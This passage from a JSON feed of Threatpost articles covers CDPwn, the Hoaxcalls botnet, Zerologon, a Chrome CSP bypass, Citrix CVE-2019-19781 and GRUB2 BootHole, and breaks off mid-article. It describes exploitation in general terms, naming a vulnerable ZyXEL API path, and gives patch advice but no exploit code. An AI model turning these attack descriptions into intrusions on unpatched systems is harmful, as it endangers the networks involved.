research was that because the network infrastructure itself was at risk and exploitable that network segmentation, which is usually a big security strategy is at risk now. So I thought that was a big implication here.\n\nI wanted to focus in on the five vulnerabilities that are kind of at the heart of this and there were four remote code execution flaws and then one denial of service flaw. So can you talk a little bit more about these vulnerabilities and what an attacker would need to exploit them, how difficult they are to exploit and if there is one vulnerability that\u2019s particularly severe or easier than the others to exploit.\n\n**BS:** So unfortunately, the vulnerabilities themselves are not that complicated. There are standard buffer overflows that you would find, bugs you will find from time to time, and exploiting them takes some effort, but actually, it\u2019s not that difficult. There are some mitigations in these devices to make it harder for attackers to actually exploit the vulnerabilities but they are not that difficult to bypass. So there are the four RCEs, the denial of service one is also something with a few CDP packets maliciously crafted, an attacker can take down switches and routers, and completely stop their functionality. And the RCE ones are just a matter of sending a couple of packets to the affected devices in order to gain code execution on your devices.\n\nI would say that the most severe of these four is the one that affects IP phones, they have an additional bug other than the memory corruption part. They parse broadcast CDP packets and unicast CDP packets as if they were regular standard CDP packets, which are normally very specific multicast packets. And that means for attackers that you don\u2019t need to find the IP phone that you want to target inside the network, you can simply send a broadcast packet, that will go out to the entire network. And the IP phones that are affected by this will parse these packets that will otherwise be regarded as invalid packets. They would parse them nonetheless and the vulnerability will be triggered on them almost simultaneously throughout the networks. The attacker can sent one broadcast packet, it will either cause denial of service or code execution, depending on the exploit. And then you will have an army of IP phones into the network that you can either eavesdrop on the calls, carry out additional attacks from, steal sensitive data.\n\nIP phones are really the most enterprise grade type of IoT device that you would have a network, Cisco is an enterprise-oriented company. But nevertheless, they might be vulnerable. And they do contain confidential data and they might also be used as a way to have a hold inside the network, to carry out further attacks from them. And the most interesting part is that they are really, really prevalent.\n\n**LO:** And just to clarify for our listeners, that vulnerability is, I believe it was tied to CVE-2020-3111. So that\u2019s the one that specifically impacts the Cisco IP phones and is a RCE and denial of service flaw, but I could definitely see that one being severe. So can you walk us through the potential impact of these vulnerabilities if exploited? I know there\u2019s kind of a lot to unwind there you talked earlier about the issues that it could cause a network segmentation, but then also, there were issues around data exfiltration attacks and some other attacks. So can you walk us through that?\n\n**BS:** Yeah, so the first point for an attacker to take advantage of the vulnerability is to have some foothold inside the network. So it\u2019s not an attack that necessarily is coming from the internet. The attacker needs to have some access, but if you have some very low grade IoT device sitting inside the network, part of your threat model already is that these devices might be compromised. But really what protects today what is used to protect you from these devices running havoc on your network is network segmentation. So the the threat is that once the compromised IoT device tries to exploit CDPwn, it can target the switch that it is connected to, and then the switch from there all kinds of attacks can be carried on. It\u2019s a very good position for an attacker to be on. It allows him to capture traffic that traverses through the switch. If it\u2019s plaintext traffic that might include confidential data, anything that\u2019s of value for the attacker. It\u2019s also a point where an attacker can carry out man-in-the-middle attacks if the device inside the network is going out to the internet to a specific service, or internally through the service inside the network. The attacker can change the traffic that traverses through the switch in a way that the man-in-the-middle attack might be beneficial for him, it can be used to send send malware inside specific JavaScript code that is rendered in the browser or anything of that sort. There are a multitude of attacks that are very efficient once you have a man-in-the-middle position inside the network.\n\nBut then, you can also move laterally, the segmentation that previously limited these attacks only to the IoT segment, now are no longer in place. Inside the switch, you can go to any segments that you\u2019d like. Or it can completely put all the devices in one segment and they can now also talk to one another, although originally they were on separate segments. Last, there is also the impact to IP phones and IP cameras. And like I mentioned the for example, on the IP phones, they are vulnerable to the broadcast attack as well, so from the switch, you can also send the broadcast CDP packet that will trigger that the vulnerabilities on the IP phones and that would be the next step getting access to these corporate assets that might contain confidential data. And all from a very strong position inside the network, the core space, or any other switch inside the network that is not regularly examined, you don\u2019t expect these types of devices to be compromised. And for that reason, they\u2019re not monitored and not tracked as much as your corporate assets.\n\n**LO: **Right. And I mean, speaking of corporate assets, you know, like you mentioned before, many times, you know, a lot of these devices are used primarily by enterprises. And that kind of heightens these types of attacks and their severity, like man-in-the-middle, like data exfiltration, and kind of what that means for enterprise organizations that might be open to these types of threats. What can enterprise organizations do to secure against this type of attack?\n\n**BS: **Monitoring these types of devices, treating them as endpoints that might be compromised as well, not only the Windows devices and the mobile devices We are aware of that consumer grade IoT, whether it\u2019s an Amazon Echo, or if some tablet of sort or anything of that nature, we see these devices as IoT, and we have learned that these might be compromised. And there is a growing consensus that securing these types of devices is needed. But when you try to define IoT, it really has no bounds; any device, any embedded device that does not have an end security agent on it, in some ways, it\u2019s an IoT device. So for every organization, it looks like a benign device, the pipeline of the network, something of that sort, it can also be vulnerable, attackers can attack it as well. And having attacked it they can use it as a foothold inside the network \nto carry out additional attacks.\n\nSo, in the VoIP phones and enterprise grade IP cameras from Cisco, these are also at the end of the day computers that parse packets might be vulnerable to attacks and can be used for further attacks. I think the solution is always to find a product that monitors all types of these unmanaged devices in a way that can detect if something wrong has occurred, if something out of normal behavior has occurred. But also obviously, whenever a vulnerability is published, quickly patch, that\u2019s the best way to stay secure.\n\n**LO:** Right. And I know you spoke a little bit about IoT security. And it seems like that is also kind of a big part of this research and how IoT security issues and connected device issues, the impact that they can have on corporate networks. Because when you think about it, a lot of businesses have all kinds of devices that have popped up over the years that are connected, that they don\u2019t even necessarily think of, like surveillance cameras, etc, etc. So that\u2019s that\u2019s a really good point as well. And I finally I wanted to ask you about the process of disclosure with Cisco and the patches that have been deployed at this point, what was the process of disclosure in terms of the time frame and the patches that are available now?\n\n**BS:** It was rather a long process. But part of that was how this disclosure went about. So at the end of August, we first disclosed the vulnerabilities; at the time we found them on the Nexus switches and IRS6R routers. And Cisco was very good to work with and they developed patches quickly. But then, during the disclosure, we actually found that the similar vulnerabilities exist in IP phones and cameras. And for that reason that the disclosure process went a bit longer, way over 100 days. And yes, patches have been deployed by Cisco, some of the upgrades to these devices have already been put out by Cisco. But today, they are also having their security advisories that mention what versions are patched and the different patches, the affected devices are being released today as well.\n\n**LO:** Is there any other takeaways from your research into CDPwn, or the vulnerabilities or implications here that you want to mention from your perspective, Ben?\n\n**BS:** Um, yeah, I think that when we look at network, when we look at all of the variety of devices that we have, any of the devices that are unmanaged, we need to look at them in the same way, they\u2019re not different. All of them are computers that might open to attack. That\u2019s one hand and the other end of it is the attack surface. There are just endless types of layer 2 protocols and CDP is one of them. But there is actually a very large attack surface there that has been neglected. But I think the research community needs to do more in looking at these protocols. And network segmentation, at the end of the day, is a strong solution for IoT, and other security problems are solved by it, but we need to make sure that it really stands strong against all kinds of attacks. CDPwn is just one of them. So looking at these protocols, understanding whether they present a risk to network appliances, is essential for that process to be as strong as it can be.\n\n**LO:** Absolutely. Well, Ben, thank you so much for coming onto the Threatpost podcast today to talk about these newly disclosed vulnerabilities in Cisco equipment.\n\n**BS:** Thank you for having me.\n\n**LO:** And once again, this is Lindsay O\u2019Donnell-Welch with Threatpost here talking today with Ben Seri, VP of research at Armis. Catch us next week on the Threatpost podcast.\n\n_**Also, check out our [podcast microsite](<https://threatpost.com/microsite/threatpost-podcasts-going-beyond-the-headlines/>), where we go beyond the headlines on the latest news.**_\n", "cvss3": {}, "published": "2020-02-05T16:00:56", "type": "threatpost", "title": "Critical Cisco 'CDPwn' Protocol Flaws Explained: Podcast", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-3111", "CVE-2020-5135"], "modified": "2020-02-05T16:00:56", "id": "THREATPOST:8DA5404E0E8179BD2E87B8F221395859", "href": "https://threatpost.com/behind-cdpwn-discovering-critical-cisco-protocol-flaws/152530/", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:26:09", "description": "A new variant of the Hoaxcalls botnet, which can be marshalled for large-scale distributed denial-of-service (DDoS) campaigns, is spreading via an unpatched vulnerability impacting the ZyXEL Cloud CNM SecuManager that was disclosed last month.\n\nThat\u2019s according to researchers at Radware, who also said that it\u2019s notable how quickly Hoaxcalls operators have moved to weaponize the ZyXel bug, which as of this time of writing, [has still not been addressed](<https://www.zyxel.com/us/en/support/security_advisories.shtml>) in a ZyXel advisory.\n\n**The Rise of Hoaxcalls**\n\nHoaxcalls first emerged in late March, as a variant of the [Gafgyt/Bashlite family](<https://threatpost.com/valve-source-engine-fortnite-servers-crippled-by-gafgyt-variant/149719/>); it\u2019s named after the domain used to host its malware, Hoaxcalls.pw.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)\n\nAccording to the [Palo Alto Unit 42](<https://unit42.paloaltonetworks.com/new-hoaxcalls-ddos-botnet/>) researchers who found it, the original sample featured three DDoS attack vectors: UDP, DNS and HEX floods; and, it was seen infecting devices through two vulnerabilities: A DrayTek Vigor2960 remote code-execution (RCE) vulnerability and a GrandStream Unified Communications remote SQL injection bug (CVE-2020-5722). The HTTP exploits for the bugs used a common User-Agent header value, \u201cXTC,\u201d which has been seen in previous [Mirai variant](<https://threatpost.com/new-mirai-variant-mukashi-targets-zyxel-nas-devices/153982/>) activity, according to researchers.\n\nIn early April, a new Hoaxcalls sample showed up on the scene and was picked up by Radware. It had added 16 new attack vectors for a total of 19, but it only propagated via the GrandStream CVE-2020-5722 bug and lacked the XTC header value. Within 48 hours of discovery, there were 15 unique IP addresses hosting the malware.\n\nThen, earlier this week, on April 20, Radware researchers spotted a third iteration of Hoaxcalls being disseminated from 75 different malware-hosting servers. It has the same number of attack vectors (19) as the second variant, and also uses the User-Agent \u201cXTC\u201d header seen in the initial version.\n\n\u201cWhile IoT botnet variants are common, these samples highlight not only the speed in which criminals move, but also the depth and scope of the campaigns run by DDoS operators,\u201d noted Radware researchers, in [an analysis](<https://security.radware.com/ddos-threats-attacks/threat-advisories-attack-reports/hoaxcalls-evolution/>) posted on Wednesday.\n\n**ZyXel RCE Bug**\n\nThe April 20 variant most notably uses an unpatched vulnerability in the ZyXEL Cloud CNM SecuManager, which is a network management appliance designed to provide an integrated console to monitor and manage security gateways.\n\nIn March, multiple bugs [were found to be riddling](<https://threatpost.com/flaws-zyxels-network-management-software/153554/>) the platform by security researchers Pierre Kim and Alexandre Torres. According to their report at the time, the vulnerable software includes Zyxel CNM SecuManager versions 3.1.0 and 3.1.1 \u2013 last updated in November 2018.\n\nThe bug that Hoaxcalls is [specifically leveraging](<https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html#pre-auth-rce>) can be exploited via API calls that abuse the path \u201c/live/CPEManager/AXCampaignManager/delete_cpes_by_ids?Cpe_ids =\u201d according to Radware.\n\nDigging deeper, Kim and Torres characterized this bug as \u201cabusing an insecure API due to unsafe calls to eval():\u201d. When an API call is made, the output is stored in the \u201cAxess\u201d chroot, which the researchers said ultimately makes it possible to open up a \u201cconnect-back\u201d shell, providing access to the appliance.\n\nA chroot is an operation to change a root directory for a running process and its dependent directories on Unix operating systems,\n\n\u201cEven if the shell is within a chrooted environment, it is possible to break the chroot using a [local privilege escalation] LPE and the fact that /proc is mounted inside the chroot,\u201d Kim and Torres wrote.\n\nThe addition of the unpatched bug exploit only widens the number of routers and IoT devices that can be used by Hoaxcalls going forward, Radware researchers noted \u2014 adding that they expect the attack surface to continue to widen.\n\n\u201cThe campaigns performed by the actor or group behind XTC and Hoaxcalls include several variants using different combinations of propagation exploits and DDoS attack vectors,\u201d Radware researchers said in the analysis. \u201cIt is our opinion that the group behind this campaign is dedicated to finding and leveraging new exploits for the purpose of building a botnet that can be leveraged for large-scale DDoS attacks.\u201d\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-22T21:39:57", "type": "threatpost", "title": "Fast-Moving DDoS Botnet Exploits Unpatched ZyXel RCE Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-5722"], "modified": "2020-04-22T21:39:57", "id": "THREATPOST:C22F323F8CA203A50435F11517317613", "href": "https://threatpost.com/fast-moving-ddos-botnet-unpatched-zyxel-rce-bug/155059/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:23:27", "description": "UPDATE\n\nThe \u201cperfect\u201d Windows vulnerability known as the Zerologon bug is getting a patch assist from two non-Microsoft sources, as they strive to fill in the gaps that the official fix doesn\u2019t address.\n\nThey roll out as Microsoft announced that it is tracking active exploitation in the wild. \u201cWe have observed attacks where public exploits have been incorporated into attacker playbooks,\u201d the firm [tweeted on Wednesday](<https://twitter.com/MsftSecIntel/status/1308941504707063808>).\n\nBoth Samba and 0patch have issued fixes for CVE-2020-1472, an privilege-escalation bug which, [as previously reported](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>), stems from the Netlogon Remote Protocol, available on Windows domain controllers, which is used for various tasks related to user- and machine-authentication.\n\nExploiting the bug allows an unauthenticated attacker with network access to a domain controller to completely compromise all Active Directory identity services, according to Microsoft. A proof-of-concept exploit [was just released](<https://threatpost.com/windows-exploit-microsoft-zerologon-flaw/159254/>) for the issue, which is a critical flaw rating 10 out of 10 on the CvSS severity scale.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis attack has a huge impact: It basically allows any attacker on the local network (such as a malicious insider or someone who simply plugged in a device to an on-premise network port) to completely compromise the Windows domain,\u201d said researchers with Secura, [in a whitepaper](<https://www.secura.com/pathtoimg.php?id=2055>) published earlier this month.\n\nMicrosoft did issue a [patch for the flaw in August](<https://threatpost.com/0-days-active-attack-bugs-patched-microsoft/158280/>), during its regularly scheduled Patch Tuesday updates. However, not all systems are compatible with the fix, according to Mitja Kolsec, CEO and co-founder at 0patch, which issued a \u201cmicropatch\u201d of its own for the bug.\n\n\u201cOur micropatch was made for Windows Server 2008 R2, which reached end-of-support this January and stopped receiving Windows updates,\u201d Kolsec told Threatpost. \u201cMany organizations are still using this server and the only way for it to get extended security updates from Microsoft was to move it to Azure (cloud) \u2014 which is an unacceptable option for most organizations.\u201d\n\nThe micropatch is logically identical to Microsoft\u2019s fix, he explained in a recent [blog post](<https://blog.0patch.com/2020/09/micropatch-for-zerologon-perfect.html>): \u201cWe injected it in function NetrServerAuthenticate3 in roughly the same place where Microsoft added the call to NlIsChallengeCredentialPairVulnerable, but since the latter doesn\u2019t exist in old versions of netlogon.dll, we had to implement its logic in our patch.\u201d\n\n0patch is also porting the micropatch to various still-supported Windows Servers for customers who for various reasons can\u2019t apply the Microsoft patch, he added.\n\nMeanwhile, it turns out that Samba, a file-sharing utility for swapping materials between Linux and Windows systems, also relies on the Netlogon protocol, and thus suffers from the vulnerability.\n\nThe bug exists when Samba is used as domain controller only (most seriously the Active Directory DC, but also the classic/NT4-style DC), it said in [an advisory](<https://www.samba.org/samba/security/CVE-2020-1472.html>) this week. It added, \u201cinstallations running Samba as a file server only are not directly affected by this flaw, though they may need configuration changes to continue to talk to domain controllers.\u201d\n\nThe company noted that versions 4.8 and above of Samba are not vulnerable unless they have the smb.conf lines \u2018server schannel = no\u2019 or \u2018server schannel = auto\u2019. Samba versions 4.7 and below are vulnerable unless they have \u2018server schannel = yes\u2019 in the smb.conf.\n\nLast Friday, the U.S. Cybersecurity and Infrastructure Security Agency [issued an emergency directive](<https://threatpost.com/dire-patch-warning-zerologon/159404/>) for federal agencies to patch against the bug. Federal agencies that haven\u2019t patched their Windows Servers against the Zerologon vulnerability by Monday Sept. 21 at 11:59 pm EDT are in violation. And in light of the active, in-the-wild exploitation flagged by Microsoft, patching should be at the top of the to-do list for all organizations.\n\n> Microsoft is actively tracking threat actor activity using exploits for the CVE-2020-1472 Netlogon EoP vulnerability, dubbed Zerologon. We have observed attacks where public exploits have been incorporated into attacker playbooks.\n> \n> \u2014 Microsoft Security Intelligence (@MsftSecIntel) [September 24, 2020](<https://twitter.com/MsftSecIntel/status/1308941504707063808?ref_src=twsrc%5Etfw>)\n\n_**This story was updated at 11 a.m. ET on Sept. 23 to include information on active exploitation.**_\n", "cvss3": {}, "published": "2020-09-23T21:05:54", "type": "threatpost", "title": "Zerologon Patches Roll Out Beyond Microsoft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1472", "CVE-2020-5135"], "modified": "2020-09-23T21:05:54", "id": "THREATPOST:A1A1E1AC8DB384C8FA2988F9A9121141", "href": "https://threatpost.com/zerologon-patches-beyond-microsoft/159513/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:21:30", "description": "A vulnerability in Google\u2019s Chromium-based browsers would allow attackers to bypass the Content Security Policy (CSP) on websites, in order to steal data and execute rogue code.\n\nThe bug ([CVE-2020-6519](<https://bugs.chromium.org/p/chromium/issues/detail?id=1064676>)) is found in Chrome, Opera and Edge, on Windows, Mac and Android \u2013 potentially affecting billions of web users, according to PerimeterX cybersecurity researcher Gal Weizman. Chrome versions 73 (March 2019) through 83 are affected (84 was released in July and fixes the issue).\n\nCSP is a web standard that\u2019s meant to thwart certain types of attacks, including cross-site scripting (XSS) and data-injection attacks. CSP allows web admins to specify the domains that a browser should consider to be valid sources of executable scripts. A CSP-compatible browser will then only execute scripts loaded in source files received from those domains.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/08/06145744/Threatpost_CC_webinar-269x300.png)](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\n\n\u201cCSP is the primary method used by website owners to enforce data-security policies to prevent malicious shadow-code executions on their website, so when browser enforcement can be bypassed, personal user data is at risk,\u201d Weizman explained, [in research](<https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/>) released on Monday.\n\nMost websites use CSP, the researcher noted, including internet giants like ESPN, Facebook, Gmail, Instagram, TikTok, WhatsApp, Wells Fargo and Zoom. Some notable names were not affected, including GitHub, Google Play Store, LinkedIn, PayPal, Twitter, Yahoo\u2019s Login Page and Yandex.\n\nTo exploit the vulnerability, an attacker first needs to gain access to the web server (through brute-forcing passwords or another method), in order to be able to modify the JavaScript code it uses. Then, the attacker could add a frame-src or child-src directive in the JavaScript to allow the injected code to load and execute it, bypassing the CSP enforcement and thus bypassing the site\u2019s policy, explained Weizman.\n\nBecause of the post-authentication aspect of the bug, it ranks as a medium-severity issue (6.5 out of 10 on the CvSS scale). However, because it affects CSP enforcement, this has vast implications,\u201d Weizman said, comparing it to having an issue with seatbelts, airbags and collision sensors.\n\n\u201c[Because of the] increased perception of safety, the damage caused in an accident when this equipment is faulty is much more severe,\u201d the researcher said. \u201cIn a similar way, website developers may allow third-party scripts to add functionality to their payment page, for example, knowing that CSP will restrict access to sensitive information. So, when CSP is broken, the risk for sites that relied on it is potentially higher than it would have been if the site never had CSP to begin with.\u201d\n\nThe vulnerability was present in Chrome browsers for more than a year before being fixed, so Weizman warned that the full implications of the bug are not yet known: \u201cIt is highly likely that we will learn of data breaches in the coming months that exploited it and resulted in the exfiltration of personally identifiable information (PII) for nefarious purposes.\u201d\n\nUsers should update their browsers to the latest versions to avoid falling victim to an exploit.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-10T19:43:46", "type": "threatpost", "title": "Google Chrome Browser Bug Exposes Billions of Users to Data Theft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135", "CVE-2020-6519"], "modified": "2020-08-10T19:43:46", "id": "THREATPOST:0ED2C20BB1821A77810AB2D29BB6A6A5", "href": "https://threatpost.com/google-chrome-bug-data-theft/158217/", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-10-15T22:27:01", "description": "Digital workspace and enterprise networks vendor Citrix has announced a critical vulnerability in the Citrix Application Delivery Controller (ADC) and Citrix Gateway. If exploited, it could allow unauthenticated attackers to gain remote access to a company\u2019s local network and carry out arbitrary code execution.\n\nThe Citrix products (formerly the NetScaler ADC and Gateway) are used for application-aware traffic management and secure remote access, respectively, and are installed in at least 80,000 companies in 158 countries, according to Mikhail Klyuchnikov, a researcher at Positive Technologies. The U.S accounts for about 38 percent of vulnerable organizations.\n\n\u201cThis attack does not require access to any accounts, and therefore can be performed by any external attacker,\u201d he noted in research released on Tuesday. \u201cThis vulnerability allows any unauthorized attacker to not only access published applications, but also attack other resources of the company\u2019s internal network from the Citrix server.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile neither Citrix nor Positive Technologies released technical details on the bug ([CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)), they said it affects all supported versions of the product, and all supported platforms, including Citrix ADC and Citrix Gateway 13.0, Citrix ADC and NetScaler Gateway 12.1, Citrix ADC and NetScaler Gateway 12.0, Citrix ADC and NetScaler Gateway 11.1, and also Citrix NetScaler ADC and NetScaler Gateway 10.5, according to the research.\n\n\u201cCitrix applications are widely used in corporate networks,\u201d said Dmitry Serebryannikov, director of security audit department at Positive Technologies, in a statement. \u201cThis includes their use for providing terminal access of employees to internal company applications from any device via the internet. Considering the high risk brought by the discovered vulnerability, and how widespread Citrix software is in the business community, we recommend information security professionals take immediate steps to mitigate the threat.\u201d\n\nCitrix released a [set of measures](<https://support.citrix.com/article/CTX267679>) to mitigate the vulnerability, including software updates, according to the researchers.\n\nThe vendor [made security news](<https://threatpost.com/citrix-confirms-password-spraying-heist/146641/>) earlier this year when cyberattackers used password-spraying techniques to make off with 6TB of internal documents and other data. The attackers intermittently accessed Citrix\u2019 infrastructure between October 13, 2018 and March 8, the company said, and the crooks \u201cprincipally stole business documents and files from a company shared network drive that has been used to store current and historical business documents, as well as a drive associated with a web-based tool used in our consulting practice.\u201d\n\nPassword-spraying is a related type of attack to brute-forcing and credential-stuffing. Instead of trying a large number of passwords against a single account, in password-spraying the adversary will try a single commonly used password (such as \u201c123456\u201d) against many accounts. If unsuccessful, a second password will be tried, and so on until accounts are cracked. This \u201clow and slow\u201d method is used to avoid account lock-outs stemming from too many failed login attempts.\n\nIn the case of Citrix, which has always specialized in federated architectures, the FBI surmised in March that the attackers likely gained a foothold with limited access, and then worked to circumvent additional layers of security. That was backed up by evidence that the attackers were trying to pivot to other areas of the infrastructure.\n", "cvss3": {}, "published": "2019-12-26T19:17:55", "type": "threatpost", "title": "Critical Citrix Bug Puts 80,000 Corporate LANs at Risk", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135"], "modified": "2019-12-26T19:17:55", "id": "THREATPOST:9688E067E5F287042D4EBC46107C66AF", "href": "https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:25:54", "description": "Citrix has quickened its rollout of patches for a critical vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, on the heels of recent proof-of-concept exploits and skyrocketing exploitation attempts.\n\nSeveral versions of the products still remain unpatched \u2013 but they will be getting a patch sooner than they were slated to. While Citrix originally said some versions would get a patch Jan. 31, it has now also shortened that timeframe, saying fixes are forthcoming on Jan 24 (Friday of this week).\n\nAlso, Citrix patched Citrix ADC and Citrix Gateway version 11.1 (with firmware update Refresh Build 11.1.63.15) and 12 (firmware update Refresh Build 12.0.63.13) on Jan. 19 \u2014 a day earlier than it had expected to.\n\n[![Threatpost Webinar Promo Mobile App Security ](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/21105319/Webinar_Promo_App_Security-300x220.png)](<https://register.gotowebinar.com/register/7679724086205178371?source=art>)\n\nThe versions that Citrix expects to patch on Jan. 24 include Citrix ADC and Citrix Gateway version 10.5 (with Refresh Build 10.5.70.x), 12.1 (Refresh Build 12.1.55.x), 13 (Refresh Build 13.0.47.x), as well as Citrix SD-WAN WANOP Release 10.2.6 (with Citrix ADC Release 11.1.51.615) and Citrix SD-WAN WANOP Release 11.0.3 (Citrix ADC Release 11.1.51.615).\n\nWhen it was originally disclosed [in December](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>), the vulnerability did not have a patch, and Citrix [announced](<https://support.citrix.com/article/CTX267027>) it would not be issuing fixes for the gateway products and ADC (formerly called NetScaler ADC), a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web, until \u201clate January.\u201d\n\nHowever, in the following weeks after disclosure, various researchers published public [proof-of-concept (PoC) exploit code](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) for the flaw. At the same time, [researchers warned of active exploitations](<https://blog.rapid7.com/2020/01/17/active-exploitation-of-citrix-netscaler-cve-2019-19781-what-you-need-to-know/>), and [mass scanning activity](<https://twitter.com/bad_packets/status/1217234838446460929>), for the vulnerable Citrix products.\n\n> CVE-2019-19781 mass scanning activity from these hosts is still ongoing. <https://t.co/pK4Qus1eAo>\n> \n> \u2014 Bad Packets Report (@bad_packets) [January 14, 2020](<https://twitter.com/bad_packets/status/1217234838446460929?ref_src=twsrc%5Etfw>)\n\nIn one unique case of exploitation, [researchers at FireEye said last week](<https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html>) that a threat actor was targeting vulnerable Citrix devices with a previously-unseen payload, which they coined as \u201cNOTROBIN.\u201d\n\nResearchers said that the attack group behind the payload appeared to be scanning for vulnerable ADC devices and deploying their own malware on the devices, which would then delete any previously-installed malware. Researchers suspect that the threat actors may be trying to maintain their own backdoor access in compromised devices.\n\n\u201cUpon gaining access to a vulnerable NetScaler [ADC] device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign,\u201d researchers said.\n\nWith patches now being available or soon to be rolled out, security experts urge customers to update as soon as possible.\n\n\u201cCISA strongly recommends users and administrators update Citrix ADC, Citrix Gateway, and Citrix SD-WAN WANOP once the appropriate firmware updates become available,\u201d according to a Monday CISA alert on the patches. \u201cThe fixed builds can be downloaded from Citrix Downloads pages for [Citrix ADC](<https://www.citrix.com/downloads/citrix-adc/>) and [Citrix Gateway](<https://www.citrix.com/downloads/citrix-gateway/>). Until the appropriate update is accessible, users and administrators should apply Citrix\u2019s interim mitigation steps for CVE-2019-19781.\u201d\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. _**_**Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from **_**_Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-01-21T17:19:28", "type": "threatpost", "title": "Citrix Accelerates Patch Rollout For Critical RCE Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135"], "modified": "2020-01-21T17:19:28", "id": "THREATPOST:AB2F6BF7F6EC16383E737E091BA9385B", "href": "https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:24:20", "description": "Billions of Windows and Linux devices are vulnerable to cyberattacks stemming from a bug in the GRUB2 bootloader, researchers are warning.\n\nGRUB2 (which stands for the GRand Unified Bootloader version 2) is the default bootloader for the majority of computing systems. Its job is to manage part of the start-up process \u2013 it either presents a menu and awaits user input, or automatically transfers control to an operating system kernel.\n\nSecure Boot is an industry standard that ensures that a device boots using only trusted software. When a computer starts, the firmware checks the signatures of UEFI firmware drivers, EFI applications and the operating system. If the signatures are valid, the computer boots, and the firmware gives control to the operating system. According to Eclypsium researchers, the bug tracked as CVE-2020-10713 could allow attackers to get around these protections and execute arbitrary code during the boot-up process, even when Secure Boot is enabled and properly performing signature verification.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nDubbed BootHole by Eclypsium because it opens up a hole in the boot process, the new bug is a buffer overflow vulnerability in the way that GRUB2 parses content from the GRUB2 config file (grub.cfg), according to Eclypsium.\n\n\u201cThe GRUB2 config file is a text file and typically is not signed like other files 